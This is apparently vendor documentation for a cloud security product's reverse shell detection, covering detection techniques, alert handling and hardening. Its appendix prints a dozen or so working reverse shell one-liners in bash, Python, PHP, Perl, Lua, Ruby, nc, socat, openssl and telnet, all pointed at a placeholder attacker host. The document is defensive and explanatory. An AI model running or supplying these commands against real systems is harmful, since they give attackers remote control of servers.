Security Center detects reverse shell attacks through multi-dimensional analysis—file descriptor monitoring, command sequence analysis, process chain inspection, malicious file analysis, and network traffic analysis—identifying both known and novel intrusion techniques to secure your cloud assets.
What is a reverse shell
A reverse shell is a common intrusion technique. After gaining initial server access through a vulnerability or weak password, attackers deploy a reverse shell to establish a covert communication tunnel from the compromised server (client) back to an attacker-controlled server (server).
This poses two main threats:
Bypass firewall restrictions: The connection originates from the server, bypassing firewalls that only restrict inbound traffic. Attackers can then execute commands remotely.
Establish persistent control: With an interactive shell, attackers can steal data, install ransomware, move laterally, or use the server to attack other systems.
How it works
Core principles
Security Center goes beyond signature-based detection with a multi-layered system built on these core principles:
Beyond traditional signatures: Focuses on fundamental attack behavior rather than unstable static signatures such as regular expressions.
Multi-dimensional data collection: The host agent collects real-time data including process activity, file access, network connections, and kernel calls.
Cloud-based intelligent analysis: A cloud-based big data platform performs correlation analysis and behavioral modeling to enable cross-validation.
This defense-in-depth system combines cloud and endpoint analysis to detect both known and unknown attacks with high accuracy.
Key detection technologies
The detection system uses multiple technologies that reconstruct attack behaviors from different dimensions for cross-validation.
File descriptor (FD) analysis
Detection principle and method: Monitors process file descriptors in real time. If a shell process's standard I/O is redirected to a network socket, an alert is triggered immediately.
Primary detection target: Reverse shells launched directly with commands such as
bash -i >& /dev/tcp/...that use I/O redirection.
Abnormal command sequence analysis
Detection principle and method: Establishes a baseline of normal command sequences for the server using a big data platform. When an abnormal sequence matching known attack patterns (such as reconnaissance or privilege escalation) is detected, it is flagged as high-risk.
Primary detection target: Reverse shells implemented through scripting languages such as Python or Perl that lack obvious shell process features, and their subsequent lateral movement behaviors.
Abnormal process startup chain analysis
Detection principle and method: Analyzes process parent-child relationships, startup parameters, user context, and historical behavior to identify non-interactive shells launched by abnormal parent processes such as web services.
Primary detection target: Reverse shells triggered by web vulnerabilities that are hidden within normal service traffic.
In-depth analysis of malicious files
Detection principle and method:
Script sandbox: Performs dynamic tracing and static decompilation on persisted scripts, such as Bash, Python, and JAR, to identify malicious logic in obfuscated code.
Binary sandbox: Analyzes imported functions, code structure, and dynamic behavior, such as network connections, of compiled programs, such as C/C++, Go, and Meterpreter.
Primary detection target: Highly obfuscated or encrypted script trojans; compiled reverse shell programs written in C/C++, Go, or generated by Meterpreter.
Detection of adversarial network traffic features
Detection principle and method: Analyzes network traffic for interactive shell communication features and detects common evasion techniques, such as replacing system shells or encoding commands.
Primary detection target: Serves as a supplementary method to enhance coverage of known attack patterns and evasion techniques.
Response plan
Reverse shell protection involves three stages: enabling detection, analyzing alerts, and emergency response.
Enable reverse shell detection
If you activated Security Center Enterprise or later and the agent is installed and online on the target server, reverse shell detection is enabled by default.
Analyze and interpret alerts
When Security Center detects suspicious reverse shell activity, go to or and open the reverse shell alert details. Focus on:
Threat Level: Usually Critical, which indicates that the alert requires immediate attention and handling.
Process Information: Shows the process path and command-line parameters that triggered the alert. For example, a
/bin/bash -iprocess started bywww-datais a typical high-risk indicator.Parent Process Information: Shows the source of the suspicious process, helping trace the attack path. For example, if the parent process is a web server (Apache or Nginx), the attack likely originated from a web vulnerability.
Outbound Connection Information: If present, shows the remote IP address and port to which the suspicious process connected. This IP address identifies the attacker-controlled server.
Handle alerts
On the alert details page, take the following actions based on your risk assessment. Evaluate and handle security alerts.
Virus Detection and Removal: Stops the virus process and moves the virus file to quarantine. Quarantined files cannot be executed, accessed, or spread.
Quarantine: Moves only the suspicious file to quarantine without stopping running processes.
End Process: Immediately stops the malicious process associated with the alert to quickly cut off the attack.
Add to Whitelist: If the alert is a false positive triggered by normal O&M or business scripts, add the item to the whitelist.
NoteSet whitelist rules based on file paths or MD5 hashes to prevent similar events from triggering alerts.
Security hardening
Block network connections
Find the attacker's IP address in the alert details.
Configure security group rules to deny all inbound and outbound access from this IP address to completely cut off the attacker's connection.
Remove persistent backdoors
Attackers usually set up persistence mechanisms. Log on to the server to investigate:
Check scheduled tasks: Run
crontab -l -u <user>(where<user>is the user running the suspicious process, such asrootorwww-data) to check for suspicious entries. Delete any malicious entries withcrontab -e.Delete malicious files: Use the file path in the alert to locate and delete the malicious script or binary.
Perform a full scan and harden the server
In the Security Center console, use to perform a full scan and backdoor detection on the server.
Fix security vulnerabilities on the server to eliminate the attack entry point.
Costs and risks
Cost structure: Reverse shell detection is included in Security Center editions at no additional cost. For in-depth service log analysis, purchase the Log Management or Log Analysis value-added features.
Key risks:
During emergency response, actions such as ending a process or modifying configurations may affect normal business. Create a server snapshot before making changes.
No detection solution is perfect. Highly customized 0-day attacks using unknown techniques may bypass detection. Defense in depth remains critical: patch vulnerabilities promptly, apply least privilege, and enforce strict network policies.
Appendix: Classification and examples of reverse shells
The following examples of common reverse shell attacks illustrate Security Center's detection scope and help security personnel verify protection effectiveness.
These examples only illustrate Security Center's detection scope for these attack types, helping security personnel understand alerts and verify protection.
Do not use or execute this code in an unauthorized environment. You are solely responsible for any resulting legal violations, risks, and liabilities.
Type 1: Direct I/O redirection
Core principle: This type of reverse shell communicates over the network by redirecting the standard input, standard output, and standard error of
bash -ito a/dev/tcpsocket.Detection approach: File descriptor (FD) analysis. This method monitors a process's FD table to detect whether the shell process's standard I/O is redirected to a network socket.
Detection scenario examples:
Example 1:
# Example 1 (bash I/O redirection): bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1Behavior description:
Uses the
/dev/tcpfeature to establish a TCP connection to a remote host.Redirects the standard input, output, and error of bash to this network connection to achieve a remote interactive shell.
Detection logic: Through FD analysis, Security Center discovers that the
/bin/bashprocess's0/1/2file descriptors point to a network socket, which triggers a reverse shell alert.
Example 2:
# Example 2 (Python redirection): python -c ' import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("[ATTACKER_IP]", [PORT])) os.dup2(s.fileno(), 0) # Redirect stdin to socket os.dup2(s.fileno(), 1) # Redirect stdout to socket os.dup2(s.fileno(), 2) # Redirect stderr to socket subprocess.call(["/bin/sh", "-i"]) 'Behavior description:
Actively connects to a remote host by using Python and redirects the current process's standard input, output, and error to that connection.
Then, starts
/bin/sh -ias a child process to establish an interactive shell.
Detection logic:
FD analysis captures the redirection relationship between
/bin/shand the socket.Abnormal process chain analysis identifies the interactive shell process started by
pythonas a high-risk behavior.
Example 3:
# PHP reverse shell php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'Behavior description:
Actively connects to a remote host by using the PHP
fsockopenfunction. This connection obtains a file descriptor (usually 3).Then, executes the
/bin/sh -iprocess and explicitly redirects its standard input, standard output, and standard error to file descriptor 3. This binds the interactive shell to the established network connection.
Detection logic:
FD analysis captures the redirection relationship between
/bin/shand the socket (FD 3). This indicates that the standard input, output, and error all point to a network connection rather than a terminal or a regular file.Abnormal process chain analysis finds that the
phpprocess starts an interactive/bin/shby usingexec, and the shell's I/O is bound to an external network socket. This process chain of "script interpreter → remote connection → interactive shell" is a characteristic of high-risk remote control behavior.
Example 4:
# Perl redirection example perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Behavior description:
Uses Perl's
Socketmodule to create a TCP socket and actively connect to[ATTACKER_IP]:[PORT].After a successful connection, it redirects the current process's
STDIN,STDOUT, andSTDERRto the socket handleS, and then starts an interactive shell by usingexec("/bin/sh -i").
Detection logic:
FD analysis finds that the standard input, output, and error of
/bin/shall point to the same network socket (S) instead of a regular terminal or file. This shows a clear "shell-to-socket" redirection relationship.Abnormal process chain analysis finds a behavior chain where a
perlprocess creates and connects to a remote socket, then executes/bin/sh -i. This is a script-driven reverse shell, which is a high-risk remote control pattern.
Example 5:
# Lua redirection example lua -e "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"Behavior description:
Actively connects to a remote host by using Lua's
socketlibrary. This connection obtains a file descriptor (usually 3).Executes the external command
/bin/sh -iby usingos.executeand explicitly redirects its standard input, output, and error to that file descriptor. This establishes an interactive reverse shell.
Detection logic:
FD analysis captures the input/output redirection relationship between
/bin/shand the network socket (FD 3). This shows that all of the shell's I/O is attached to a TCP connection.Abnormal process chain analysis identifies the interactive shell process started by the
luainterpreter as a high-risk behavior.
Type 2: Intermediation through pipes or pseudo-terminals
Core principle: This type uses a pipe or pseudo-terminal (PTY) as an intermediary. The shell's I/O is first redirected to the intermediary, and then another process connects the intermediary to a network socket. In some variations, data may pass through multiple layers of intermediaries, ultimately forming a complete remote control channel.
Detection approach: FD link tracing and process relationship analysis. This method traces the complete FD link through which the data stream flows to identify abnormal process chains that connect to network sockets through pipes or PTYs.
Detection scenario examples:
Example 1:
# Intermediation by using a named pipe and encrypted channel mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/fBehavior description:
Uses
mkfifoto create a named pipe/tmp/revpipe, which acts as an intermediary for the shell's input and output.The input for
/bin/sh -icomes from this pipe, and its output is sent to the remote host viaopenssl s_client.This forms a multi-layered intermediary link: "Shell ↔ Pipe ↔ Encrypted network connection".
Detection logic:
Security Center uses FD link tracing and process relationship analysis to identify that
/bin/shandopensslare connected through a pipe that ultimately points to a remote socket, thereby discovering the reverse shell behavior.
Example 2:
# Mixed nc / socat example # Use netcat to connect to a remote host nc [ATTACKER_IP] 5050 # Use netcat to execute /bin/bash nc -e /bin/bash [ATTACKER_IP] 6060 # Use netcat and bash to create an interactive reverse shell nc -c bash [ATTACKER_IP] 6060 # Use socat to create a pseudo-terminal and connect to a remote host socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060Behavior description:
Tools such as
ncandsocatcan directly associate a local shell with a remote TCP connection to form a reverse shell.When you use the
ptyparameter to create a pseudo-terminal, the behavior is more similar to a normal terminal session, making detection more difficult.
Detection logic:
FD link tracing identifies the pipe or pseudo-terminal link between the shell and the network socket.
For scenarios that use
pty, comprehensive analysis of the process parent-child relationship and network access patterns is required.
Example 3:
# mknod named pipe mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipeBehavior description:
Uses
mknod backpipe pto create a named pipe backpipe as an intermediary for shell input/output.The
ncprocess connects to the remote host, and its input is redirected from this pipe.nc [ATTACKER_IP] 6060 0<backpipeuses backpipe as the standard input for nc, receives commands from the remote end, and writes them to the pipe.The standard output and error of
/bin/bashare both redirected to backpipe and then sent to the remote end by nc.
Detection logic:
FD link tracing can discover that
/bin/bashandncare associated through a named pipe and ultimately connect to a remote socket.A named pipe file (such as backpipe) that is opened by both a shell and a network tool at the same time constitutes a high-risk link.
The system makes a determination by combining the process parent-child relationship (such as an nc or bash process started by a web service or scheduled task) with abnormal outbound connection behavior.
Example 4:
# Establish connection by using a Bash built-in file bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'Behavior description:
Uses the Bash built-in
/dev/tcppseudo-file to directly establish a TCP connection to port 6060 on a remote host and binds it to file descriptor 5.cat <&5reads commands from the remote socket, which are passed through a pipe to thewhile read line; do $line ...loop for execution.The standard output and error of each command are redirected back to FD 5, the original TCP connection, and returned to the remote end.
The overall behavior is a pure Bash implementation of a "built-in TCP channel + command execution loop," a reverse or remote control behavior without any obvious external tools.
Detection logic:
FD analysis finds that the Bash process directly holds a socket FD that points to a remote IP address or port (established via
/dev/tcp).Abnormal command sequence analysis: A single Bash process maintains a long-term outbound connection and executes many system commands.
Example 5:
telnet [ATTACKER_IP] 6060 | /bin/bash | telnet[ATTACKER_IP] 5050Behavior description:
This creates a command relay channel that connects two
telnetprocesses and onebashprocess with two pipes.The first
telnetprocess receives commands from a remote host and forwards them tobashfor execution.The
bashexecution result is then sent to another remote address through the secondtelnetprocess.Input and output are handled through different network connections. This method can be used to hide the true control endpoint or perform multi-hop forwarding, making tracing and detection more difficult.
Detection logic:
Abnormal process chain analysis reveals the highly unusual call relationship:
telnet->bash->telnet.For traditional interactive tools such as
telnet, detection combines the process chain (a telnet process bypassing and attaching to bash) with abnormal patterns in the destination IP address or port.A long-standing pipe relationship between a bash process and a network process, without a corresponding local terminal TTY, is marked as a suspicious remote shell session.
Example 6: Intermediation by using a pseudo-terminal. This type is more difficult to detect and requires comprehensive contextual analysis.
# Intermediation by using a Python pseudo-terminal python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'Behavior description:
After completing FD redirection, instead of directly executing
/bin/sh -i, it starts abashin a pseudo-terminal by usingpty.spawn.The pseudo-terminal makes the reverse shell behave more like a real login session (such as SSH or a screen session), thereby increasing the attack's stealth.
Detection logic:
FD analysis can still identify the association between bash and the network socket.
At the same time, it must be combined with process context (the parent process is Python) and network communication patterns to avoid confusion with normal O&M terminals.
Type 3: Embedded execution in scripting languages
Core principle: Instead of using shell redirection features directly, the logic is implemented within a scripting language, such as Python or Ruby. The code receives network commands, calls functions such as
subprocessorexecto execute them, and then sends the results back.Detection approach: Behavioral sequence analysis and abnormal startup models. Because the attack logic is wrapped in code, detection requires higher-level analysis. Threats are detected by analyzing abnormal command sequences, such as reconnaissance behavior after obtaining a shell, or by identifying shells started by abnormal parent processes, such as web services.
Detection scenario examples:
Example 1:
# Python embedded command execution loop python -c ' import socket, subprocess s = socket.socket() s.connect(('[ATTACKER_IP]', [PORT])) while True: cmd = s.recv(1024) # Receive command from remote host proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE ) s.send(proc.stdout.read() + proc.stderr.read()) # Send back command execution result 'Behavior description:
This does not explicitly start a shell process. Instead, within the Python process, it:
Continuously reads commands from a network connection.
Executes system commands by using
subprocess.Popen.Sends the standard output and error back to the remote host over the network.
Externally, it behaves like a "persistent connection + command execution engine," which is closer to the behavior pattern of a trojan or remote control program.
Detection logic:
This type of attack often lacks explicit shell redirection features and relies more on:
Abnormal command sequence analysis: Such as executing many reconnaissance or privilege escalation commands in a short period.
Abnormal process startup chain analysis: If the parent process of the Python process is an unexpected component, such as a web server, it is flagged as high-risk.
Example 2:
# Lua embedded command execution loop lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'Behavior description:
The Lua process uses the
socketlibrary to actively connect to a remote host and establish a persistent connection.In a loop, the process continuously receives commands from the network connection and calls
io.popento create a child process to execute each command.The process sends the complete result of the command execution back to the remote host. This behavior pattern is highly similar to Example 1 and creates a Lua-based remote command execution backdoor.
Detection logic:
Abnormal command sequence analysis: Monitors consecutive commands executed in a short period to determine whether the sequence matches attack patterns, such as reconnaissance or privilege escalation.
Abnormal process startup chain analysis: Flags a Lua process as high-risk if it is started by an unexpected parent process, such as a web server (OpenResty or Nginx).
Example 3:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Behavior description: This Ruby script is designed for stealth.
First, the script uses
exit if forkto create a child process and terminate the parent process. This allows the backdoor process to run in the background, detached from the current terminal.The child process then connects to the remote host, receives commands in a loop, executes them by using
IO.popen, and sends the results back. This "backgrounding" is a typical persistence and stealth technique.
Detection logic:
Abnormal process behavior analysis: Focus on the behavior where the parent process exits immediately after a
fork. This is characteristic of a trojan program creating a background daemon process.Abnormal process startup chain analysis: Analyze the relationship between the background Ruby process and its parent process.
Abnormal command sequence analysis: Perform association analysis on the subsequent commands it executes.
FAQ
Why do traditional detection methods often fail?
Traditional methods use regular expressions to match features in command and traffic logs. They have three main limitations:
Incomplete log collection: When pipes or redirection are used, conventional log collection may fail to capture the complete attack command.
Easy-to-bypass rules: Attackers use encoding, obfuscation, or other techniques to bypass fixed-string or regex-based rules.
Encrypted traffic: Encrypted attack traffic renders network-based detection methods ineffective.
Can Security Center's reverse shell detection achieve 100% accuracy?
No security solution guarantees 100% accuracy. Attack and defense technologies evolve constantly. Advanced reverse shells implemented in programming languages (Type 3) are particularly difficult to detect because they resemble normal business scripts. Security Center improves detection through multi-dimensional analysis and behavioral models, but security remains an ongoing adversarial process.
Why are reverse shells that use pseudo-terminals (PTYs) harder to detect?
From the shell process's perspective, its I/O is redirected to a pseudo-terminal device—behavior similar to normal SSH logons,
screensessions, or container terminals. This makes distinguishing malicious behavior from normal operations difficult. Security Center performs comprehensive analysis by combining process and network logs to balance false negatives and false positives.